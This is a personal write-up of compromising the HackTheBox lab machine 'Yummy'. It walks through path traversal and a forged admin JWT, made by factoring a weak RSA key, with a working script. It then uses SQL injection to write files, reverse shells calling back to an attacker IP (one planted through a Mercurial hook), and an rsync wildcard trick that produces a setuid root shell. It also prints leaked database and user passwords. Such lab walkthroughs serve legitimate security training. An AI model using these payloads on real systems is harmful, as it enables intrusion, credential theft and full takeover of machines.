Intro
This is my writeup of owning the Yummy machine on HackTheBox, created by LazyTitan33, which I completed back in October 2024. It's categorised as a hard Linux machine and consists of obtaining and analysing source code, forging an RSA JWT and exploiting a cronjob before even getting to privilege escalation.
I definitely found this box difficult, there were quite a few areas I had to research to figure out where the exploits might be before working on the exploits themselves, but overall this was a very fun and interesting box.
Recon
nmap
finds two open ports, an SSH server running on 22 and a webserver on 80, nothing unusual here.
export target=10.10.11.36
nmap -sV $target
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-06 12:16 BST
Nmap scan report for 10.10.11.36
Host is up (0.029s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Caddy httpd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.00 seconds
Caddy is serving a landing page for a restaurant where there can be some user interaction by means of a contact form, registering, and logging in. Let's add yummy.htb
to /etc/hosts
and test out the endpoints.
I registered demo@demo.com:demo and then logged in to find that I could create reservations and view them on a /dashboard
page for my account. From this dashboard, you can download your own reservations as a calendar ICS file. This ICS just contains the various values for the fields in the form.
Foothold
As we know this is a Caddy server, I spent a while trying to expose Caddy template variables (such as {{env "ADMIN_URL"}}
) in the ICS but I couldn't get it to work and eventually decided to look elsewhere.
When a request is made to download the file, the initial request for reminder/22
(for example) is forwarded to another path, like /export/Yummy_reservation_20241007_162235.ics
. Perhaps this endpoint can be used to grab other files.
Using Burpsuite, I intercepted one of these requests:
GET /export/Yummy_reservation_20241007_162235.ics HTTP/1.1
Host: yummy.htb
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://yummy.htb/dashboard
Connection: keep-alive
Cookie: X-AUTH-Token=<token>
Upgrade-Insecure-Requests: 1
Then after several rounds of testing with parent paths, it turns out that this is vulnerable to path traversal:
GET /export/../../../../etc/hosts HTTP/1.1
Host: yummy.htb
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://yummy.htb/dashboard
Connection: keep-alive
Cookie: X-AUTH-Token=<token>
Upgrade-Insecure-Requests: 1
The request above allowed me to download the remote /etc/hosts
file.
127.0.0.1 localhost yummy yummy.htb
127.0.1.1 yummy
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Using this approach, we can find out some useful information from standard OS files.
/etc/passwd
contains two users, dev
and `qa:
dev:x:1000:1000:dev:/home/dev:/bin/bash
qa:x:1001:1001::/home/qa:/bin/bash
/etc/crontab
points us towards some scripts so lets download these too and have a read.
*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh
app_backup.sh
appears to create a backup zip of the application. We'll grab a copy of this zip too so that we can have a read of the source code.
cat app_backup.sh
#!/bin/bash
cd /var/www
/usr/bin/rm backupapp.zip
/usr/bin/zip -r backupapp.zip /opt/app
table_cleanup.sh
holds some database credentials which might be useful later and seems to load in some data:
cat table_cleanup.sh
#!/bin/sh
/usr/bin/mysql -h localhost -u chef yummy_db -p'3wDo7gSRZIwIHRxZ!' < /data/scripts/sqlappointments.sql
Whereas dbmonitor
appears to be a custom repair script for an unstable database.
It will run the latest incremental version of a script if the database fails - which suggests this could be a path for exploitation later that will allow us to run custom code.
cat dbmonitor.sh
#!/bin/bash
timestamp=$(/usr/bin/date)
service=mysql
response=$(/usr/bin/systemctl is-active mysql)
if [ "$response" != 'active' ]; then
/usr/bin/echo "{\"status\": \"The database is down\", \"time\": \"$timestamp\"}" > /data/scripts/dbstatus.json
/usr/bin/echo "$service is down, restarting!!!" | /usr/bin/mail -s "$service is down!!!" root
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
else
if [ -f /data/scripts/dbstatus.json ]; then
if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then
/usr/bin/echo "The database was down at $timestamp. Sending notification."
/usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root
/usr/bin/rm -f /data/scripts/dbstatus.json
else
/usr/bin/rm -f /data/scripts/dbstatus.json
/usr/bin/echo "The automation failed in some way, attempting to fix it."
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
fi
else
/usr/bin/echo "Response is OK."
fi
fi
[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json
I'm also going to grab /data/scripts/sqlappointments.sql
just in case as well as /var/www/backupapp.zip
.
The sqlappointments.sql
just appears to contain database seed data, but as expected, /var/www/backupapp.zip
contains the source code for the restaurant booking site that we're looking at.
Looking through the code, it shows that users can exist with customer role (by default) or an administrator role, this information is embedded into a custom implementation of JWT. We can also see that administrators can access another dashboard at admindashboard/
.
The interesting part is that there's some verification
middleware for decoding the JWT using a custom signature.
from config import signature
# [...]
def verify_token():
data = jwt.decode(token, signature.public_key, algorithms=["RS256"])
# [...]
Let's take a look at that signature for creating a private key:
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy
# Generate RSA key pair
q = sympy.randprime(2**19, 2**20)
n = sympy.randprime(2**1023, 2**1024) * q
e = 65537
p = n // q
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()
private_key = serialization.load_pem_private_key(
private_key_bytes,
password=None,
backend=default_backend()
)
public_key = private_key.public_key()
print(public_key)
We can also see that this key is created during login and embedded into our cookie.
def login ():
# [...]
if user:
payload = {
'email': email,
'role': user['role_id'],
'iat': datetime.now(timezone.utc),
'exp': datetime.now(timezone.utc) + timedelta(seconds=3600),
'jwk':{'kty': 'RSA',"n":str(signature.n),"e":signature.e}
}
access_token = jwt.encode(payload, signature.key.export_key(), algorithm='RS256')
response = make_response(jsonify(access_token=access_token), 200)
response.set_cookie('X-AUTH-Token', access_token)
return response
else:
return jsonify(message="Invalid email or password"), 401
# [...]
Admin Dashboard
So let's start with what we've got, our token, and see if we can decode anything:
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6ImRlbW9AWVVNTVkuSFRCIiwicm9sZSI6ImN1c3RvbWVyXzhlNWQ1MTcyIiwiaWF0IjoxNzI4MzE4MDgyLCJleHAiOjE3MjgzMjE2ODIsImp3ayI6eyJrdHkiOiJSU0EiLCJuIjoiMTAxOTc4ODI4MTcyMjExMDE3Mjk4Njc1MzAxNDI5ODQ3MTM0NDk0MzIxOTk5MDk5OTA2MDM3MjMyMTE4OTQ1MDY2ODMwNzU2ODYxMjkyNzg5Mzc3MDIyNTI0MzYyOTYwMjE4MjY3MjcyOTI1NDY0NDc2MDMzNjI1NTM4NDIwMzUyMjAzODk3OTc5ODE5NTQwMjkwODY3ODYzNDI5NjgzNjA5MjQ2NjQ2MzI2NzE1NTI2OTgxOTkyMTU1MDA4ODU2MjQ2NjA4NTg4NjY4Mzk1MjU1MjQ1MTM4Mjc2NzMwMzY1MDY5ODU1MjUzMTI3OTA3MDU0NTE4Njk2ODU3NjYxOTY1OTMxOTk1Mzk1NDU3NzEzMDk1MDk2MTcyMjU1NTgwMjkwNzc0ODkzMDk5MDIzODc1NjAwNzA4NDkzIiwiZSI6NjU1Mzd9fQ.BlomPDqY2gDIAApWS8MtXzkGqD53j3aTTxiNA35BbIlW6EnqRCnVEgXcpieMyd9DEsMtFFwcfyyDrNYJBRkBGcbHsbR6nEJlEQMqJBl2ipdDGH35wGVP5-mPqrsvPN1vbaAD3R_aWxdfl2zEH1eK_MU3TykcUEwZajcMTVZ0jnGNUsE
Here's a standalone script pieced together from the source code for the process used to encode the token:
import jwt
import json
import sympy
from datetime import datetime, timedelta, timezone
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
q = sympy.randprime(2**19, 2**20)
n = sympy.randprime(2**1023, 2**1024) * q
e = 65537
p = n // q
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()
private_key = serialization.load_pem_private_key(
private_key_bytes,
password=None,
backend=default_backend()
)
public_key = private_key.public_key()
payload = {
'email': "demo@yummy.htb",
'role': "customer",
'iat': datetime.now(timezone.utc),
'exp': datetime.now(timezone.utc) + timedelta(seconds=3600),
'jwk':{'kty': 'RSA',"n":str(n),"e":e}
}
print(payload)
print("")
access_token = jwt.encode(payload, key.export_key(), algorithm='RS256')
print(json.dumps(access_token))
This is just so that I can get myself a bit more familiar with it and visualise the data before and after it's encoded.
python app/encoder.py
{'email': 'demo@yummy.htb', 'role': 'customer', 'iat': datetime.datetime(2024, 10, 7, 23, 25, 55, 247085, tzinfo=datetime.timezone.utc), 'exp': datetime.datetime(2024, 10, 8, 0, 25, 55, 247091, tzinfo=datetime.timezone.utc), 'jwk': {'kty': 'RSA', 'n': '93393013672038491784420448959607969060998709989291685750395056037390972008409419219927584371401968605768046028554892274680023169157348038747946621558196148331539851859760149706827806598624945321403223421822746326377326499082459274893034557833800100824764617552060562417936384410573193676744372273704519882358365331', 'e': 65537}}
"eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6ImRlbW9AeXVtbXkuaHRiIiwicm9sZSI6ImN1c3RvbWVyIiwiaWF0IjoxNzI4MzQzNTU1LCJleHAiOjE3MjgzNDcxNTUsImp3ayI6eyJrdHkiOiJSU0EiLCJuIjoiOTMzOTMwMTM2NzIwMzg0OTE3ODQ0MjA0NDg5NTk2MDc5NjkwNjA5OTg3MDk5ODkyOTE2ODU3NTAzOTUwNTYwMzczOTA5NzIwMDg0MDk0MTkyMTk5Mjc1ODQzNzE0MDE5Njg2MDU3NjgwNDYwMjg1NTQ4OTIyNzQ2ODAwMjMxNjkxNTczNDgwMzg3NDc5NDY2MjE1NTgxOTYxNDgzMzE1Mzk4NTE4NTk3NjAxNDk3MDY4Mjc4MDY1OTg2MjQ5NDUzMjE0MDMyMjM0MjE4MjI3NDYzMjYzNzczMjY0OTkwODI0NTkyNzQ4OTMwMzQ1NTc4MzM4MDAxMDA4MjQ3NjQ2MTc1NTIwNjA1NjI0MTc5MzYzODQ0MTA1NzMxOTM2NzY3NDQzNzIyNzM3MDQ1MTk4ODIzNTgzNjUzMzEiLCJlIjo2NTUzN319.BJyNEOjPz3nUTw_kRdpk04mqL5hDGTWXsYLE0VdQBm057IcZqJS9jfPdgXb1Gr6hxpPH91dOa0WdN6udCI7T5Kj1npSbHAhokfItwu-E9RXjcUiaiyx184azWSvthDF2jlGymJEyAME6pI91cDKdiVAmwtfD64H9phheqhUAU1WLDZE"
Now, we need to work backwards and figure out if we can create a token where we have an administrator role. I grabbed the token from my session and ran it through a decoder, updated the role and encoded it again:
import jwt
import json
import sympy
from datetime import datetime, timedelta, timezone
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import base64
token = "<token here>"
# https://stackoverflow.com/a/49459036
decoded_token = base64.b64decode(token.split(".")[1] + "==")
user_data = (json.loads(decoded_token))
user_data['role'] = 'administrator'
print(user_data)
encoded_user_data = base64.b64encode(json.dumps(user_data).encode('utf-8'))
print("")
print(encoded_user_data)
{'email': 'demo@yummy.htb', 'role': 'administrator', 'iat': 1728345204, 'exp': 1728348804, 'jwk': {'kty': 'RSA', 'n': '84922439168650938588100421896938483176131735847076805046275304172548261298082630709741960756939006360014321227831138502439172157689254718161450766456048762542968980217271218005528102242351211082293534851339144582457658274430925771002351086582129789510412190089342652582454377649432032351590553648516107564558180803', 'e': 65537}}
b'eyJlbWFpbCI6ICJkZW1vQHl1bW15Lmh0YiIsICJyb2xlIjogImFkbWluaXN0cmF0b3IiLCAiaWF0IjogMTcyODM0NTIwNCwgImV4cCI6IDE3MjgzNDg4MDQsICJqd2siOiB7Imt0eSI6ICJSU0EiLCAibiI6ICI4NDkyMjQzOTE2ODY1MDkzODU4ODEwMDQyMTg5NjkzODQ4MzE3NjEzMTczNTg0NzA3NjgwNTA0NjI3NTMwNDE3MjU0ODI2MTI5ODA4MjYzMDcwOTc0MTk2MDc1NjkzOTAwNjM2MDAxNDMyMTIyNzgzMTEzODUwMjQzOTE3MjE1NzY4OTI1NDcxODE2MTQ1MDc2NjQ1NjA0ODc2MjU0Mjk2ODk4MDIxNzI3MTIxODAwNTUyODEwMjI0MjM1MTIxMTA4MjI5MzUzNDg1MTMzOTE0NDU4MjQ1NzY1ODI3NDQzMDkyNTc3MTAwMjM1MTA4NjU4MjEyOTc4OTUxMDQxMjE5MDA4OTM0MjY1MjU4MjQ1NDM3NzY0OTQzMjAzMjM1MTU5MDU1MzY0ODUxNjEwNzU2NDU1ODE4MDgwMyIsICJlIjogNjU1Mzd9fQ=='
However, naively replacing the payload section of the cookie before forwarding the request via Burpsuite is not enough here to successfully authenticate to admindashboard
and I keep getting redirected to login
.
After (a lot) more reading into JWT syntax, it's likely because I need to figure out the signature and recreate the whole token. Thanks to the following article for the details:
- https://kurtikleiton.medium.com/json-web-token-exploitation-for-red-team-580eea1fe46a
In summary, these tokens adhere to the following structure:
-
Header: to show the type of the token (JWT) and the signing algorithm being used (RSA).
-
Payload: contains additional data such as name, password, expiration date, etc.
-
Signature: to verify the integrity of the data.
-
The Modulus (
n
) and Exponent (e
): these together allow anyone to derive the public key and verify the JWT signature using theRS256
algorithm. The payload also includes the public key as part of thejwk
field.
The tokens are made up of the following components:
-
Public Key (typically shared as
n
,e
):- Modulus
n
=p
*q
: this is part of the public key and is widely shared. - Public Exponent
e
: this is a small, fixed number that is also public, typically 65537.
- Modulus
-
Private Key:
- Prime Factors
p
andq
: the two large prime numbers used to generaten
, which remain private. - Private Exponent
d
: derived from the public exponente
and the prime factorsp
andq
.
- Prime Factors
This means that we have the modulus n
and the public exponent e
, so factoring n
is now required to find p
and q
which would give us the private key.
Usually, this would be an impossible task due to the scale, but in this scenario we know from the source code that p
is a prime number in the small range of 2^19 (524288) and 2^20 (1048576). If we can factor q
against n
then we can calculate p
and create ourselves a token.
Here's the updated version of the previous script that takes a token, updates the role and figures out the signature to recreate the token.
import jwt
import json
import sympy
import base64
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
token = "<token>"
# https://stackoverflow.com/a/49459036
decoded_token = base64.b64decode(token.split(".")[1] + '==')
user_data = (json.loads(decoded_token))
n = int(user_data["jwk"]['n'])
# attempt to figure out p and q
for q in sympy.primerange(2**19, 2**20):
if n % q == 0:
p = n // q
break
# now we can rebuild a token continuing from the previous source code
e = 65537
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()
private_key = serialization.load_pem_private_key(
private_key_bytes,
password=None,
backend=default_backend()
)
public_key = private_key.public_key()
# keep the payload the same but update the role
payload = {
'email': user_data["email"],
'role': "administrator",
'iat': user_data["iat"],
'exp': user_data["exp"],
'jwk':{'kty': 'RSA',"n":str(n),"e":e}
}
access_token = jwt.encode(payload, key.export_key(), algorithm='RS256')
# nice
print(json.dumps(access_token))
Using Burpsuite again, we intercept the request to admindashboard
and run the token through this script. We then replace the token in the request with the token from the script and forward the request on. Then, we've made it to the dashboard.
SQL Injection
Here we can benefit from the source code again to see that whenever queries are made on this page, rather than using an ORM this app is using raw SQL. The search_query is wrapped in wildcard characters, but the order_query isn't which should allow us to inject additional SQL into this query.
def admindashboard():
# [...]
connection = pymysql.connect(**db_config)
with connection.cursor() as cursor:
sql = "SELECT * from appointments"
cursor.execute(sql)
connection.commit()
appointments = cursor.fetchall()
search_query = request.args.get('s', '')
# added option to order the reservations
order_query = request.args.get('o', '')
sql = f"SELECT * FROM appointments WHERE appointment_email LIKE %s order by appointment_date {order_query}"
cursor.execute(sql, ('%' + search_query + '%',))
connection.commit()
appointments = cursor.fetchall()
connection.close()
Based on what we know already from our recon, its likely that we'll be trying to exploit a script and run our own code. So lets start by trying to write to a file.
The o
parameter in the request is read as the order_query
so let's append another query to ASC
using a semicolon to write to a file (after making the query url friendly).
http://yummy.htb/admindashboard?s=&o=ASC;%20SELECT%20%22demo%20orx%22%20INTO%20OUTFILE%20%22/data/scripts/demo.txt%22;
http://yummy.htb/admindashboard?s=&o=ASC;%20SELECT%20%22demo%20orx%22%20INTO%20OUTFILE%20%22/data/scripts/demo.txt%22;
The second time we make that request, we get an error stating that the file already exists. So we can assume that writing a file was successful. Let's now prepare a reverse shell to be used as our custom script:
/bin/bash -i >& /dev/tcp/10.10.14.54/1338 0>&1
We know that we can trigger our command based on the dbmonitor
script which will run the latest-versioned fixer
script based on the contents of /data/scripts/dbstatus.json
.
Now we need to prompt it to execute by writing some content to dbstatus.json
)as long as it isn't "database is down") and naming our fixer script with any high version number.
After many attempts at trying to make that command url friendly, I eventually found that SQL can decode base64 before sending it to a file. I encoded the command as base64 which made things a lot easier when making the request.
http://yummy.htb/admindashboard?s=&o=ASC;%20SELECT%20%22bad%20grep%22%20INTO%20OUTFILE%20%22/data/scripts/dbstatus.json%22;
http://yummy.htb/admindashboard?s=&o=ASC;%20SELECT%20FROM_BASE64(%22L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjU0LzEzMzcgMD4mMQoK%22)%20INTO%20OUTFILE%20%22/data/scripts/fixer-v99999%22;
After a few minutes of waiting, we've got our reverse shell.
User Flag
We're now in as www-data
so let's take a look around:
www-data@yummy:~$ ls -l
total 6656
drwxrwx--- 7 www-data qa 4096 May 28 14:41 app-qatesting
-rw-rw-r-- 1 www-data www-data 6807760 Oct 9 00:28 backupapp.zip
www-data@yummy:~$ cd app-qatesting
www-data@yummy:~/app-qatesting$ ls -la
ls -la
total 40
drwxrwx--- 7 www-data qa 4096 May 28 14:41 .
drwxr-xr-x 3 www-data www-data 4096 Oct 9 00:28 ..
-rw-rw-r-- 1 qa qa 10852 May 28 14:37 app.py
drwxr-xr-x 3 qa qa 4096 May 28 14:26 config
drwxrwxr-x 6 qa qa 4096 May 28 14:37 .hg
drwxr-xr-x 3 qa qa 4096 May 28 14:26 middleware
drwxr-xr-x 6 qa qa 4096 May 28 14:26 static
drwxr-xr-x 2 qa qa 4096 May 28 14:26 templates
We seem to have another version of the application in the home folder. I started looking for hidden files expecting to find another version of an .env
file.
Initially I thought .hg
might have been an environment related folder but I soon found out it's a mercurial folder for version control. If its anything like git then it should have a full project history so let's grep for any information that had accidentally been previously committed. Again, I was originally looking environment files before I decided just to see if any passwords might show up.
www-data@yummy:~/app-qatesting$ grep -Rli pass
grep -Rli pass
app.py
config/signature.py
config/__pycache__/signature.cpython-311.pyc
config/__pycache__/signature.cpython-312.pyc
templates/register.html
templates/login.html
grep: .hg/wcache/checkisexec: Permission denied
.hg/store/data/app.py.i
One of the previous versions of app.py
did come up as a match for pass
:
www-data@yummy:~/app-qatesting$ cat .hg/store/data/app.py.i
# [...]
E1(�/� ��$�&'app.secret_key = s.token_hex(32)
&u'cT sql = f"SELECT * FROM appointments WHERE_email LIKE %s"
�ɕp=��E(������##md5�P�����+v�Kw9 'user': 'chef',
'password': '3wDo7gSRZIwIHRxZ!',
EJ*������uY�0��+2ܩ-]%���(�(�/�`O
��<.`�������6���}�v�v��@P��D�2ӕ��_▒B�Mu;G
�.-1
���D� �kk��Y益H���ΣVps
�K�a�0�VW��;h�������B�
;ó~z�q�{�+>=�O_�q6� ��"V˺&f�*�T㔇D��퍂��@��V([Q���������G��φ����>GQ$
�D��,3�eJoH|j�)�(yh]��6����~Z�[hY�
� �w�4L
{��]�ߚ�D������f▒��:�����s)�����} �3�ZШ�{S?�m��*H�چ���V3�Y�(��]���
���L��S�eE��6K�6 'user': 'qa',
'password': 'jPAd!XQCtn8Oc@2B',
&E&�&�'#'�'�
�0+,0*d ����$4�p�"��_����6��.(�/�`�5 �P8*p�c����g� kwJj��*�zӦ9$՚��N;�Z�U�
ĉ��D����P�*▒˅��\Q��]+'¤�2,%��-��Y��
Ąb�,��d[I})u�▒�r��}�X�����F���K>
+▒��@t���k� 9���j��0�04�k��+�O�h����
Y
Looks like we've found a password for the qa
account. Seeing as we know SSH is open we can test this out and get ourselves into a real session.
ssh -l qa 10.10.11.36
# jPAd!XQCtn8Oc@2B
qa@yummy:~$ whoami
qa
Great, lets grab the user flag and see what permissions we have.
qa@yummy:~$ cat user.txt
6699e9************************
qa@yummy:~$ sudo -l
[sudo] password for qa:
Matching Defaults entries for qa on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User qa may run the following commands on localhost:
(dev : dev) /usr/bin/hg pull /home/dev/app-production/
Looks like qa
can update a repository from the dev
users home folder as the dev
user, so I don't think we're finished with mercurial yet.
I spent quite a bit of time trying to figure out how I could exploit this. The hg
command is tied to an absolute path that I couldn't write to, so I couldn't replace the binary or edit my PATH
to replace it. I repeatedly tried to stack additional commands to the end of the pull
command, only to successfully just pull the repo and achieve nothing else.
I resigned myself to Mecurial documentation and found a section for a custom configuration file known as .hgrc
. I assumed it would be somewhat like .bash_rc
but for whenever hg
is executed. It has a section for [hooks]
which is where commands can be executed based on certain scenarios like pre-commits.
In our case, all we can do is hg pull
so we can execute a command in the pre-pull
scenario.
Let's create a repository with a custom hook to launch another reverse shell but this time as the dev
user:
cd /tmp/
mkdr demo && cd demo
mkdir .hg
vim .hg/hcrc
[hooks]
pre-pull = /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.54/1338 0>&1'
sudo -u dev /usr/bin/hg pull /home/dev/app-production/
Nice, we're back in a reverse shell - but this time as dev
.
Root
Now that we're in as dev
, lets find out what they can do:
nc -lnvp 1338
listening on [any] 1338 ...
connect to [10.10.14.54] from (UNKNOWN) [10.10.11.36] 57324
I'm out of office until October 10th, don't call me
sudo -l
Matching Defaults entries for dev on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User dev may run the following commands on localhost:
(root : root) NOPASSWD: /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/
Okay, dev
can run rsync
as root
. We can modify the path thanks to the wildcard so let's copy the bash
executable but also apply setuid permissions so we can start a shell as the root
user.
sudo -u root /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/../../../../../../bin/bash --chmod=+s /opt/app/
/opt/app/bash -p
whoami
root
cat /root/root.txt
b702d38f************************
Finally, we can grab the root flag!